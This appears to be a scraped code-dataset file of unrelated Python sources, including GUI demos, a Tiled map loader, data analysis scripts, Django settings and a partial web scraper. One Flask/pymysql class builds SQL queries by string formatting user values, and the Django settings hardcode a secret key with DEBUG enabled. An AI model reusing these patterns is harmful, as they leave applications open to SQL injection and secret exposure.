self.scale1.greyed_out(True)\n\nclass LogScreen(Screen):\n def __init__(self):\n super().__init__()\n\n # Scale 0\n Label((0, 0), font = font14, value = 'Default scale 5 decades.')\n lbl_result0 = Label((0, 240), **labels)\n # Define callbacks for scale 0\n def legendcb(f):\n if f < 999:\n return '{:<1.0f}'.format(f)\n return '{:<1.0f}K'.format(f/1000)\n\n def scale_move0(scale):\n sv = scale.value()\n lbl_result0.value('{:6.2f}'.format(sv))\n self.scale1.value(scale.value()) # Cause lower scale to mimic this one\n\n self.scale0 = ScaleLog((0, 30), legendcb = legendcb, value=15,\n cb_move=scale_move0, **scales)\n # Scale 1 with varying color.\n Label((0, 130), font = font14, value = 'Varying colors, follows top scale.')\n lbl_result1 = Label((200, 240), **labels)\n # Define callbacks for scale 1\n def tickcb(f, c):\n if f > 30000:\n return RED\n if f < 10:\n return BLUE\n return c\n\n def scale_move1(scale):\n sv = scale.value()\n lbl_result1.value('{:6.2f}'.format(sv))\n\n self.scale1 = ScaleLog((0, 160), tickcb = tickcb,\n cb_move=scale_move1, **scales)\n # Define buttons\n x = 390\n y = 242\n backbutton(x, y)\n y -= 50\n Button((x, y), fgcolor = GREEN, text = 'Enable',\n callback = self.en, **buttons)\n y -= 50\n Button((x, y), fgcolor = YELLOW, text = 'Disable',\n callback = self.dis, **buttons)\n y -= 50\n Button((x, y), fgcolor = BLUE, text = 'Reset',\n callback = lambda _: self.scale1.value(1), **buttons)\n\n\n def en(self, _): # Discard button arg\n self.scale0.greyed_out(False)\n self.scale1.greyed_out(False)\n\n def dis(self, _):\n self.scale0.greyed_out(True)\n self.scale1.greyed_out(True)\n\nclass ChoiceScreen(Screen):\n def __init__(self):\n super().__init__()\n Label((0, 0), font = font14, value = 'Demo of linear and log scale controls.')\n fwdbutton(10, 50, linearScreen, 'Linear')\n fwdbutton(10, 100, LogScreen, 'Log')\n quitbutton(200, 242)\n \ndef test():\n setup()\n Screen.change(ChoiceScreen)\n\ntest()\n","sub_path":"demos/scale_ctrl_test.py","file_name":"scale_ctrl_test.py","file_ext":"py","file_size_in_byte":6212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"7036655","text":"from flask import url_for, redirect\nimport pymysql, hashlib\n\nclass Database:\n global keyId\n keyId = '_USER_'\n def __init__(self,db = 'crm'):\n self.conn = pymysql.connect(host='127.0.0.1', port=3306, user='root', passwd='', database=db)\n \n def connection(self):\n return self.conn\n\n def getcursor(self):\n self.cursor = self.conn.cursor(pymysql.cursors.DictCursor)\n return self.cursor\n\n def initial_setup(self):\n sql = open('app/crm.sql').read()\n\n split = sql.split(';')\n\n for i in range(0,len(split)):\n split[i] = split[i].replace('\\n',' ')\n\n del split[-1]\n\n for sql in split:\n db = self.conn.cursor()\n db.execute(sql)\n self.conn.commit()\n return 1\n\n # VerifyRfid will only allow the authentic user to open dashboard, contacts...\n def VerifyRfid(self, browserId, em):\n if self.conn:\n cur = self.conn.cursor()\n query = cur.execute(\"\"\" SELECT EMAIL, RFID FROM `login_main` WHERE EMAIL='{}' AND RFID='{}' \"\"\".format(em, browserId))\n if query == True:\n return True\n else:\n return False\n\n\n def get_username(self, rfid):\n if rfid is not None:\n if self.conn:\n cur = self.conn.cursor(pymysql.cursors.DictCursor)\n status = cur.execute(\"\"\"SELECT USERNAME FROM `login_main` WHERE RFID = '{}' \"\"\".format(rfid))\n\n if status > 0:\n data = cur.fetchone()\n return data['USERNAME']\n\n\n\n\n\n\n\n\n \n","sub_path":"app/model/database.py","file_name":"database.py","file_ext":"py","file_size_in_byte":1609,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"294293749","text":"###################################\n## Driftwood 2D Game Dev. Suite ##\n## map.py ##\n## Copyright 2014 PariahSoft LLC ##\n###################################\n\n## **********\n## Permission is hereby granted, free of charge, to any person obtaining a copy\n## of this software and associated documentation files (the \"Software\"), to\n## deal in the Software without restriction, including without limitation the\n## rights to use, copy, modify, merge, publish, distribute, sublicense, and/or\n## sell copies of the Software, and to permit persons to whom the Software is\n## furnished to do so, subject to the following conditions:\n##\n## The above copyright notice and this permission notice shall be included in\n## all copies or substantial portions of the Software.\n##\n## THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n## IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n## FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n## AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n## LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n## FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n## IN THE SOFTWARE.\n## **********\n\nimport layer\nimport tileset\n\n\nclass Tilemap:\n \"\"\"This class reads the Tiled map file for the currently focused area, and presents an abstraction.\n\n Attributes:\n area: Parent AreaManager instance.\n\n width: Width of the map in tiles.\n height: Height of the map in tiles.\n tilewidth: Width of tiles in the map.\n tileheight: Height of tiles in the map.\n properties: A dictionary containing map properties.\n\n layers: The list of Layer class instances for each layer.\n tilesets: The list of Tileset class instances for each tileset.\n \"\"\"\n\n def __init__(self, area):\n \"\"\"Tilemap class initializer.\n\n Args:\n area: Link back to the parent AreaManager instance.\n \"\"\"\n self.area = area\n\n # Attributes which will be updated with information about the map.\n self.width = 0\n self.height = 0\n self.tilewidth = 0\n self.tileheight = 0\n self.properties = {}\n\n self.layers = []\n self.tilesets = []\n\n # This contains the JSON of the Tiled map.\n self.__tilemap = {}\n\n def _read(self, data):\n \"\"\"Read and abstract a Tiled map.\n\n Reads the JSON Tiled map and processes its information into useful abstractions. This method is marked private\n even though it's called from AreaManager, because it must only be called once per area focus.\n\n Args:\n data: JSON contents of the Tiled map.\n \"\"\"\n # Reset variables left over from the last map.\n if self.layers:\n self.layers = []\n if self.tilesets:\n self.tilesets = []\n\n # Load the JSON data.\n self.__tilemap = data\n\n # Set class attributes representing information about the map.\n self.width = self.__tilemap[\"width\"]\n self.height = self.__tilemap[\"height\"]\n self.tilewidth = self.__tilemap[\"tilewidth\"]\n self.tileheight = self.__tilemap[\"tileheight\"]\n if \"properties\" in self.__tilemap:\n self.properties = self.__tilemap[\"properties\"]\n\n # Call the on_enter event if set.\n if \"on_enter\" in self.properties:\n self.area.driftwood.script.call(*self.properties[\"on_enter\"].split(':'))\n\n # Set the window title.\n if \"title\" in self.properties:\n self.area.driftwood.window.title(self.properties[\"title\"])\n\n # Build the tileset abstractions.\n for ts in self.__tilemap[\"tilesets\"]:\n self.tilesets.append(tileset.Tileset(self, ts))\n\n # Global object layer.\n gobjlayer = {}\n\n # Build the tile and layer abstractions.\n for zpos, l in enumerate(self.__tilemap[\"layers\"]):\n # This layer is marked invisible, skip it.\n if not l[\"visible\"]:\n continue\n\n # This is a tile layer.\n if l[\"type\"] == \"tilelayer\":\n self.layers.append(layer.Layer(self, l, zpos))\n\n # This is an object layer.\n elif l[\"type\"] == \"objectgroup\":\n # If this is the very first layer, it's the global object layer.\n if not self.layers:\n gobjlayer = l\n\n else:\n self.layers[-1]._process_objects(l)\n\n # Merge the global object layer into all tile layers.\n if gobjlayer:\n for l in self.layers:\n l._process_objects(gobjlayer)\n","sub_path":"src/tilemap.py","file_name":"tilemap.py","file_ext":"py","file_size_in_byte":4734,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"595931935","text":"# Read in the data.\r\nimport csv\r\n\r\nf = open('D:\\dataquest\\projects\\hacker_news.csv')\r\nhn = list(csv.reader(f))\r\nhn[:5]\r\nheaders = hn[0]\r\nhn = hn[1:]\r\nprint(headers)\r\nprint(hn[:5])\r\n# Identify posts that begin with either `Ask HN` or `Show HN` and separate the data into different lists.\r\nask_posts = []\r\nshow_posts =[]\r\nother_posts = []\r\n\r\nfor post in hn:\r\n title = post[1]\r\n if title.lower().startswith(\"ask hn\"):\r\n ask_posts.append(post)\r\n elif title.lower().startswith(\"show hn\"):\r\n show_posts.append(post)\r\n else:\r\n other_posts.append(post)\r\n \r\nprint(len(ask_posts))\r\nprint(len(show_posts))\r\nprint(len(other_posts))\r\n\r\n# Calculate the average number of comments `Ask HN` posts receive.\r\ntotal_ask_comments = 0\r\n\r\nfor post in ask_posts:\r\n total_ask_comments += int(post[4])\r\n \r\navg_ask_comments = total_ask_comments / len(ask_posts)\r\nprint(avg_ask_comments)\r\n\r\ntotal_show_comments = 0\r\n\r\nfor post in show_posts:\r\n total_show_comments += int(post[4])\r\n \r\navg_show_comments = total_show_comments / len(show_posts)\r\nprint(avg_show_comments)\r\n\r\n# Calculate the amount of ask posts created during each hour of day and the number of comments received.\r\nimport datetime as dt\r\n\r\nresult_list = []\r\n\r\nfor post in ask_posts:\r\n result_list.append(\r\n [post[6], int(post[4])]\r\n )\r\n\r\ncomments_by_hour = {}\r\ncounts_by_hour = {}\r\ndate_format = \"%m/%d/%Y %H:%M\"\r\n\r\nfor each_row in result_list:\r\n date = each_row[0]\r\n comment = each_row[1]\r\n time = dt.datetime.strptime(date, date_format).strftime(\"%H\")\r\n if time in counts_by_hour:\r\n comments_by_hour[time] += comment\r\n counts_by_hour[time] += 1\r\n else:\r\n comments_by_hour[time] = comment\r\n counts_by_hour[time] = 1\r\n\r\ncomments_by_hour\r\n\r\n# Calculate the average amount of comments `Ask HN` posts created at each hour of the day receive.\r\navg_by_hour = []\r\n\r\nfor hr in comments_by_hour:\r\n avg_by_hour.append([hr, comments_by_hour[hr] / counts_by_hour[hr]])\r\n\r\navg_by_hour\r\n\r\nswap_avg_by_hour = []\r\n\r\nfor row in avg_by_hour:\r\n swap_avg_by_hour.append([row[1], row[0]])\r\n \r\nprint(swap_avg_by_hour)\r\n\r\nsorted_swap = sorted(swap_avg_by_hour, reverse=True)\r\n\r\nsorted_swap\r\n\r\n# Sort the values and print the the 5 hours with the highest average comments.\r\n\r\nprint(\"Top 5 Hours for 'Ask HN' Comments\")\r\nfor avg, hr in sorted_swap[:5]:\r\n print(\r\n \"{}: {:.2f} average comments per post\".format(\r\n dt.datetime.strptime(hr, \"%H\").strftime(\"%H:%M\"),avg\r\n )\r\n )\r\n","sub_path":"hackerposts.py","file_name":"hackerposts.py","file_ext":"py","file_size_in_byte":2534,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"454672317","text":"# Copyright 2008 Google Inc. All Rights Reserved.\n\n# Django settings for CSSJanus.\n\n__author__ = 'elsigh@google.com (Lindsey Simon)'\n\nimport os\n\n# YOU NEED TO SET THIS VARIABLE TO POINT TO YOUR INSTALL PATH\nCSSJANUS_DIR = os.path.abspath(os.path.dirname(__file__))\n\nDEBUG = True\nTEMPLATE_DEBUG = DEBUG\n\nLANGUAGE_CODE = 'en'\nTIME_ZONE = 'US/Pacific'\n#DATABASE_ENGINE = 'sqlite3'\nUSE_I18N = True\nMIDDLEWARE_CLASSES = (\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.locale.LocaleMiddleware',\n)\ngettext = lambda s: s\nLANGUAGES = (\n ('ar', gettext('Arabic')),\n ('zh_CN', gettext('Chinese')),\n ('en', gettext('English')),\n ('fr', gettext('French')),\n ('he', gettext('Hebrew')),\n ('de', gettext('German')),\n ('ja', gettext('Japanese')),\n ('fa', gettext('Persian')),\n)\n\nTEMPLATE_DIRS = (\n CSSJANUS_DIR\n)\nADMINS = (\n ('Lindsey Simon', __author__),\n)\nMANAGERS = ADMINS\nUSE_ETAGS=True\nSECRET_KEY = 'jvs30_ok!o!gf)dfao)#r+jz$%^s%-mxwxy*$2fgj46-j@=i*c'\nROOT_URLCONF = 'django_urls'\nINSTALLED_APPS = (\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'cssjanus'\n)\nSESSION_ENGINE = 'gae_sessions'\n","sub_path":"django_settings.py","file_name":"django_settings.py","file_ext":"py","file_size_in_byte":1212,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"408145635","text":"import serial\nimport time\nclass lora:\n def __init__(self,port=\"/dev/ttyS0\",baudrate=9600,init=False):\n if init:self.init_lora_device(port)\n self.ser = serial.Serial(port,baudrate=baudrate,timeout=0.5)\n self.AT_command(\"AT+ADDRESS=6\",time_sleep=0.2)\n self.AT_command(\"AT+PARAMETER=12,7,1,4\",time_sleep=0.2)\n self.AT_command(\"AT+IPR=9600\",time_sleep=0.2)\n self.AT_command(\"AT+NETWORKID=6\",time_sleep=0.2)\n #self.AT_command(self.ser,\"AT+CPIN?\")\n \n def AT_command(self,cmd,time_sleep=1):\n # check AT command format\n cmd = cmd if cmd[-2:]==\"\\r\\n\" else cmd+\"\\r\\n\"\n self.ser.write(cmd.encode())\n time.sleep(time_sleep)\n print(f\"{cmd.split('=')[0][3:]} > {self.ser.read(10).decode('UTF-8')}\")\n \n def send(self,message,address=713):\n length = len(str(message))\n self.AT_command(f\"AT+SEND={address},{length},{message}\\r\\n\")\n \n def init_lora_device(self,port):\n s = serial.Serial(port,baudrate=115200)\n s.write(\"AT+IPR=9600\\r\\n\".encode())\n print(f\"init Done\")\n s.close()\n time.sleep(1)\n def close(self):\n self.ser.close()\n \n \n \n \nif __name__ == \"__main__\" :\n _lora = lora(init=True)\n for _ in range(10): _lora.send(\"send to 713\")\n _lora.close()\n ","sub_path":"Lora.py","file_name":"Lora.py","file_ext":"py","file_size_in_byte":1335,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"250913665","text":"import numpy as np\nimport cv2\n\ncamera = cv2.VideoCapture(0)\ncamera.set(cv2.CAP_PROP_FRAME_WIDTH, 640)\ncamera.set(cv2.CAP_PROP_FRAME_HEIGHT, 480)\n\n# threshold: 입력이미지가 그레이 스케일 이미지여야 한다.\n\n# ADAPTIVE_THRESH_MEAN_C와 함께 adaptiveThreshold 함수를 사용하면 앞에서 검은색으로 검출된 부분의 글씨가 검출됩니다.\n# 첫번째 아규먼트는 원본 이미지, 두번째 아규먼트는 임계값 이상일 경우 픽셀값, 세번째 아규먼트는 적응형 이진화 타입,\n# 네번째 아규먼트는 이진화 타입, 다섯째 아규먼트는 임계값 계산시 함께 볼 주변 픽셀의 범위를 블럭 크기로 지정,\n# 여섯번째 아규먼트는 평균 또는 가중평균에서 뺄 값입니다.\n\nwhile True:\n\n ret, frame = camera.read()\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n edges = cv2.Canny(gray, 50, 150, apertureSize=3)\n lines = cv2.HoughLines(edges, 1, np.pi / 180, 100)\n\n ret, img_result1 = cv2.threshold(gray, 127, 255, cv2.THRESH_BINARY)\n ret, img_result2 = cv2.threshold(gray, 127, 255, cv2.THRESH_BINARY_INV)\n\n for i in range(len(lines)):\n print(i)\n for rho, theta in lines[i]:\n a = np.cos(theta)\n b = np.sin(theta)\n x0 = a * rho\n y0 = b * rho\n x1 = int(x0 + 1000 * (-b))\n y1 = int(y0 + 1000 * (a))\n x2 = int(x0 - 1000 * (-b))\n y2 = int(y0 - 1000 * (a))\n\n cv2.line(img_result1, (x1, y1), (x2, y2), (0, 0, 255), 2)\n\n # ret, img_result2 = cv2.threshold(frame, 0, 255, cv2.THRESH_BINARY_INV+cv2.THRESH_OTSU)\n\n cv2.imshow(\"VideoFrame\", frame)\n cv2.imshow(\"THRESH_BINARY\", img_result1)\n # cv2.imshow(\"THRESH_OTSU\", img_result2)\n\n if cv2.waitKey(1) > 0: break\n\ncamera.release()\ncv2.destroyAllWindows()\n","sub_path":"opencv/lineDetection.py","file_name":"lineDetection.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"79639995","text":"import jax.numpy as jnp\nimport pytest\n\nfrom gpjax.types import Dataset, NoneType, verify_dataset\n\n\ndef test_nonetype():\n assert isinstance(None, NoneType)\n\n\n@pytest.mark.parametrize(\"n\", [1, 10, 100])\n@pytest.mark.parametrize(\"outd\", [1, 2, 10])\n@pytest.mark.parametrize(\"ind\", [1, 2, 10])\ndef test_dataset(n, outd, ind):\n x = jnp.ones((n, ind))\n y = jnp.ones((n, outd))\n d = Dataset(X=x, y=y)\n verify_dataset(d)\n assert d.n == n\n assert d.in_dim == ind\n assert d.out_dim == outd\n\n\n@pytest.mark.parametrize(\"nx, ny\", [(1, 2), (2, 1), (10, 5), (5, 10)])\ndef test_dataset_assertions(nx, ny):\n x = jnp.ones((nx, 1))\n y = jnp.ones((ny, 1))\n with pytest.raises(AssertionError):\n ds = Dataset(X=x, y=y)\n verify_dataset(ds)\n\n\ndef test_y_none():\n x = jnp.ones((10, 1))\n d = Dataset(X=x)\n verify_dataset(d)\n assert d.y is None\n","sub_path":"tests/test_types.py","file_name":"test_types.py","file_ext":"py","file_size_in_byte":877,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"297947438","text":"from dogLib import Dog\n\npup = Dog(__file__)\nprint(pup.__doc__)\n\n# print(pup.__file__)\n# hello there\n\nplist = pup.get_products()\nprint(plist)\n\ndataset = 'LANDSAT_8_C1'\n\nentlist = pup.hunt(path=47, row=26, product=dataset)\nfor it in entlist:\n print(it)\n\n\n# ------------------------------- LANDSAT 7 -------------------------\n\n\ndataset = 'LANDSAT_ETM_C1'\n\nentlist = pup.hunt(path=47, row=26, product=dataset)\nfor it in entlist:\n print(it)\n\n\n\n\n\n\n# ----------------------------------- LANDSAT 5 minus? ---------------------------\n\ndataset = 'LANDSAT_TM_C1'\n\nentlist = pup.hunt(path=47, row=26, product=dataset)\nfor it in entlist:\n print(it)\n\nprint(entlist[0])\n\n","sub_path":"test/simpleL8TestCase.py","file_name":"simpleL8TestCase.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"103447388","text":"\"\"\"\n Base class for UI Agents\n \n Also provides the system clock\n \n Created on 2010-08-19\n @author: jldupont\n\"\"\"\nimport gtk\nfrom Queue import Queue\nfrom jld_scripts.system import mswitch\nfrom jld_scripts.system.base import process_queues, message_processor\n\n__all__=[\"UiAgentBase\"]\n\nclass UiAgentBase(object):\n \n REFRESH_TIMEOUT=10\n LOW_PRIORITY_MESSAGE_BURST_SIZE=5\n \n def __init__(self, time_base):\n \"\"\"\n @param time_base: in milliseconds\n @param glade_file: absolute file path to the ui glade XML file\n @param ui_window_class: class object for the ui window \n \"\"\"\n self.time_base=time_base \n self.ticks_second=1000/time_base\n\n self.iq=Queue()\n self.isq=Queue()\n mswitch.subscribe(\"__main__\", self.iq, self.isq)\n\n self.tick_count=0\n self.sec_count=0\n self.min_count=0\n self.hour_count=0\n self.day_count=0\n\n self.window=None\n \n self.interests={}\n self.responsesInterests=[]\n \n \n def h_app_show(self, *_):\n \"\"\" We should show the main application window\n \"\"\"\n if self.window is None:\n self.window=self.ui_window_class(self.glade_file)\n self.do_updates()\n \n def h_app_close(self, *_):\n \"\"\" Seems that the application window was closed...\n \"\"\"\n self.window=None\n\n def h_app_exit(self, *_):\n self.on_destroy()\n\n def on_destroy(self):\n gtk.main_quit()\n \n def do_updates(self):\n \"\"\"\n The ui window must be updated\n \"\"\"\n raise RuntimeError(\"must be implemented\")\n\n def refreshUi(self):\n \"\"\"\n This can be subclassed - it will be called every REFRESH_TIMEOUT seconds\n \"\"\"\n\n def tick(self, *_):\n \"\"\"\n Performs message dispatch\n \"\"\"\n tick_min=False\n tick_hour=False\n tick_day=False\n tick_second = (self.tick_count % self.ticks_second) == 0 \n self.tick_count += 1\n \n if tick_second:\n self.sec_count += 1\n\n if (self.sec_count % self.REFRESH_TIMEOUT)==0:\n self.refreshUi()\n\n tick_min=(self.sec_count % 60)==0\n if tick_min:\n self.min_count += 1\n \n tick_hour=(self.min_count % 60)==0\n if tick_hour:\n self.hour_count += 1\n \n tick_day=(self.hour_count % 24)==0\n if tick_day:\n self.day_count += 1\n \n #print \"tick! \", tick_second\n mswitch.publish(\"__main__\", \"__tick__\", self.ticks_second, \n tick_second, tick_min, tick_hour, tick_day, \n self.sec_count, self.min_count, self.hour_count, self.day_count)\n \n #(src_agent, agent_name, agent_id, \n # interest_map, responsesInterestList, \n # iq, isq, processor, low_priority_burst_size=5)\n quit=process_queues(self, \"__main__\", \"__main__\", \n self.interests, self.responsesInterests,\n self.iq, self.isq, message_processor \n )\n if quit:\n self.on_destroy()\n \n \"\"\"\n while True:\n try: \n envelope=self.isq.get(False)\n quit, mtype, handled=mdispatch(self, \"__main__\", envelope)\n if handled==False:\n mswitch.publish(self.__class__, \"__interest__\", (mtype, False, self.isq))\n if quit:\n self.on_destroy()\n break\n \n except Empty:\n break\n continue \n \n burst=self.LOW_PRIORITY_MESSAGE_BURST_SIZE\n \n while True:\n try: \n envelope=self.iq.get(False)\n quit, mtype, handled=mdispatch(self, \"__main__\", envelope)\n if handled==False:\n mswitch.publish(self.__class__, \"__interest__\", (mtype, False, self.iq))\n if quit:\n self.on_destroy()\n break\n \n burst -= 1\n if burst == 0:\n break\n except Empty:\n break\n \n continue\n \"\"\"\n ## for gobject... just in case\n return True\n","sub_path":"src/jld_scripts/system/ui_base.py","file_name":"ui_base.py","file_ext":"py","file_size_in_byte":4512,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"472234455","text":"# 2D Array\n# a. Desc > A library for reading in 2D arrays of integers, doubles, or booleans from\n# standard input and printing them out to standard output.\n# b. I/P > M rows, N Cols, and M * N inputs for 2D Array. Use Java Scanner Class\n# c. Logic > create 2 dimensional array in memory to read in M rows and N cols\n# d. O/P > Print function to print 2 Dimensional Array. In Java use PrintWriter with\n# OutputStreamWriter to print the output to the screen.\n\ntry:\n rows = int(input(\"Enter number of Rows: \"))\n columns = int(input(\"Enter number of columns: \"))\nexcept ValueError:\n print(\"plz enter valid input\")\ndef twoD_array(rows, columns):\n array = []\n for i in range(rows):\n row = []\n for j in range(columns):\n value = int(input(\"Enter the value: \"))\n row.append(value)\n array.append(row)\n return array\n\nprint(twoD_array(rows,columns)) \n","sub_path":"2DArray.py","file_name":"2DArray.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"504432883","text":"import matplotlib as mpl\nmpl.use(\"TKAgg\")\nimport matplotlib.pyplot as plt\nimport numpy as np\n\nreal_name=[\"千与千寻\",\"玩具总动员4\",\"黑衣人:全球追击\"]\n#票房\nreal_num1=[7548,4013,1673]\nreal_num2=[5453,1840,1080]\nreal_num3=[4348,2345,1890]\n\nx=np.arange(len(real_name))\nplt.bar(x,real_num1,alpha=0.5,width=0.3,label=real_name[0])\nplt.bar([i+0.3 for i in x],real_num2,alpha=0.5,width=0.3,label=real_name[1])\nplt.bar([i+0.6 for i in x],real_num3,alpha=0.5,width=0.3,label=real_name[2])\nx_label=[\"第一天\",\"第二天\",\"第三天\"]\nplt.xticks([i+0.3 for i in x],x_label)\nplt.ylabel(\"票房数\")\nplt.rcParams['font.sans-serif']=['SimHei']\nplt.legend()\nplt.title(\"三天三部电影票房数\")\nplt.show()","sub_path":"Matplotlib图形库/14.柱状图的使用.py","file_name":"14.柱状图的使用.py","file_ext":"py","file_size_in_byte":715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"114464653","text":"from django.db import models\nfrom MasterEntry.models import Designation,DanceCategory,District\n\n# Create your models here\nGender=(\n (\"M\",\"Male\"),\n (\"F\",\"Female\"),\n (\"O\",\"Others\"),\n)\n\nisActive=(\n (\"1\",\"Active\"),\n (\"0\",\"Not Active\"),\n)\n\n\nclass Tutor(models.Model):\n tutor_name=models.CharField(\"Name:\",max_length=20,null=False)\n tutor_contact=models.CharField(\"Conatct:\",max_length=11,null=False)\n tutor_email=models.EmailField(\"Email:\",unique=True,null=False,help_text=\"Enter Valid Email\")\n tutor_gender=models.CharField(\"Gender:\",max_length=5,choices=Gender,null=False)\n tutor_photo=models.ImageField(\"Tutor Photo:\",upload_to=\"TutorPhoto\",null=False)\n tutor_dob=models.DateField(\"Date of Birth:\",null=False)\n tutor_isactive=models.CharField(\"Is Active:\",max_length=5,choices=isActive,null=False,help_text=\"If Value is 1 Tutor is Active and Not Active if 0\")\n tutor_username=models.CharField(\"User name:\",max_length=15,unique=True,null=False)\n tutor_password=models.CharField(\"Password:\",max_length=15,unique=True,null=False)\n \n tutor_designation=models.ForeignKey(Designation,on_delete=models.SET_NULL,null=True,verbose_name=\"Designation:\")\n tutor_dancecategory=models.ForeignKey(DanceCategory,on_delete=models.SET_NULL,null=True,verbose_name=\"Dance Category:\")\n tutor_district=models.ForeignKey(District,on_delete=models.SET_NULL,null=True,verbose_name=\"District:\")\n\n def __str__(self):\n return f\"{self.tutor_name}-{self.tutor_designation}\"\n \n\nclass DanceCourses(models.Model):\n course_dancecategory=models.ForeignKey(DanceCategory,on_delete=models.SET_NULL,null=True,verbose_name=\"Dance Category:\")\n course_tutor=models.ForeignKey(Tutor,on_delete=models.SET_NULL,null=True,verbose_name=\"Tutor:\")\n \n course_name=models.CharField(\"Name:\",max_length=20,null=False)\n course_photo=models.ImageField(upload_to=\"CoursePhoto\",null=False)\n course_description=models.TextField(\"Description\")\n course_totalfees=models.CharField(\"Total Fees:\",max_length=20,null=False,)\n course_downpayment=models.CharField(\"Down Payment:\",max_length=20,null=False,help_text=\"Online Registration Amount:\")\n course_details=models.FileField(\"Course Syllabus:\",upload_to=\"CourseSyllabus\")\n course_remarks=models.TextField(\"Remarks\")\n \n\n\n\n","sub_path":"Administrator/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":2307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"389120728","text":"# Time: O(logn)\n# Space: O(logn)\n\n# 1104\n# In an infinite binary tree where every node has two children, nodes are labelled in row order.\n#\n# In the odd numbered rows (ie., the first, third, fifth,...), the labelling is left to right,\n# while in the even numbered rows (second, fourth, sixth,...), the labelling is right to left.\n# 1\n# 3 2\n# 4 5 6 7\n# 15 14 13 12 11 10 9 8\n#\n# Given the label of a node in this tree, return the labels in the path from the root of\n# the tree to the node with that label.\n\nclass Solution(object):\n def pathInZigZagTree(self, label):\n \"\"\"\n :type label: int\n :rtype: List[int]\n \"\"\"\n count = 2**label.bit_length()\n ans = []\n while label >= 1:\n ans.append(label)\n begin, end = count // 2, count - 1\n label = (begin + (end-label)) // 2\n count //= 2\n return ans[::-1]\n\n def pathInZigZagTree_ming(self, label): # similar but can improve over the above,\n # bit_length on each row doesn't need to campute each time\n ans = [label]\n while label > 1:\n k = label // 2\n b = k.bit_length()\n s, e = 2**(b-1), 2**b - 1\n label = s + (e - k)\n ans.append(label)\n ans.append(label)\n return ans[::-1]\n\nprint(Solution().pathInZigZagTree(14)) # [1,3,4,14]\nprint(Solution().pathInZigZagTree(26)) # [1,2,6,10,26]","sub_path":"Python/path-in-zigzag-labelled-binary-tree.py","file_name":"path-in-zigzag-labelled-binary-tree.py","file_ext":"py","file_size_in_byte":1517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"93"}
+{"seq_id":"226527910","text":"\"\"\"\nGeneCards Scraper\n\nThis script uses selenium to scrape the GeneCards database for information and output its results into a .xlsx file.\n\nNote: Chrome is required on the computer.\n\nInstallation:\n\n1. Run the following command to install all dependencies: pip3 install selenium xlsxwriter pandas openpyxl\n2. Install the correct version of the Chrome Driver.\n a) Find the Chrome version in Menu > Help > About Google Chrome.\n b) Go to https://pypi.org/project/chromedriver-binary/#history and find the closest version number to your Chrome version.\n c) Copy the install command on the specific version of the chromedriver and install like before.\n\nUsage:\n\npython3 210109_genecards_scrape.py \n\"\"\"\n\nimport argparse\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\nimport chromedriver_binary\nimport xlsxwriter\nimport pandas as pd\nimport os\n\n# initalize command line argument parser\n\nparser = argparse.ArgumentParser(description=\"This script uses selenium to scrape the GeneCards database for information and output its results into a .xlsx file.\")\nparser.add_argument('path', type=str, help='path to target')\nargs = parser.parse_args()\n\n# open input sheet\n\ntry:\n df = pd.read_excel(args.path, 0)\n genes = df[\"Gene ID\"]\nexcept:\n print(\"There was an error opening the spreadsheet.\")\nelse:\n\n row = 0\n\n # initiate output sheet with formatting\n\n workbook = xlsxwriter.Workbook(os.path.splitext(args.path)[0] + '_scraped.xlsx')\n worksheet = workbook.add_worksheet('Sheet1')\n\n cell_format = workbook.add_format()\n bold = workbook.add_format({'bold': True})\n cell_format.set_text_wrap()\n cell_format.set_align(\"top\")\n\n worksheet.set_column(\"A:A\",30,cell_format)\n worksheet.set_column(\"B:B\",40,cell_format)\n worksheet.set_column(\"C:C\",70,cell_format)\n\n # open browser\n\n driver = webdriver.Chrome()\n\n # start through each gene\n\n for gene in genes:\n\n worksheet.write(row, 0, gene)\n\n # open website\n\n try:\n \n driver.get('https://www.genecards.org/cgi-bin/carddisp.pl?gene='+gene)\n #assert \"GeneCards\" in driver.title\n\n # find gene aliases\n\n titles = driver.find_element(By.ID, 'aliases_descriptions')\n columns = titles.find_elements(By.CLASS_NAME, 'gc-subsection')\n\n gene_string = \"\"\n\n columns = [columns[0]]\n\n for column in columns:\n\n item = column.find_elements(By.TAG_NAME, 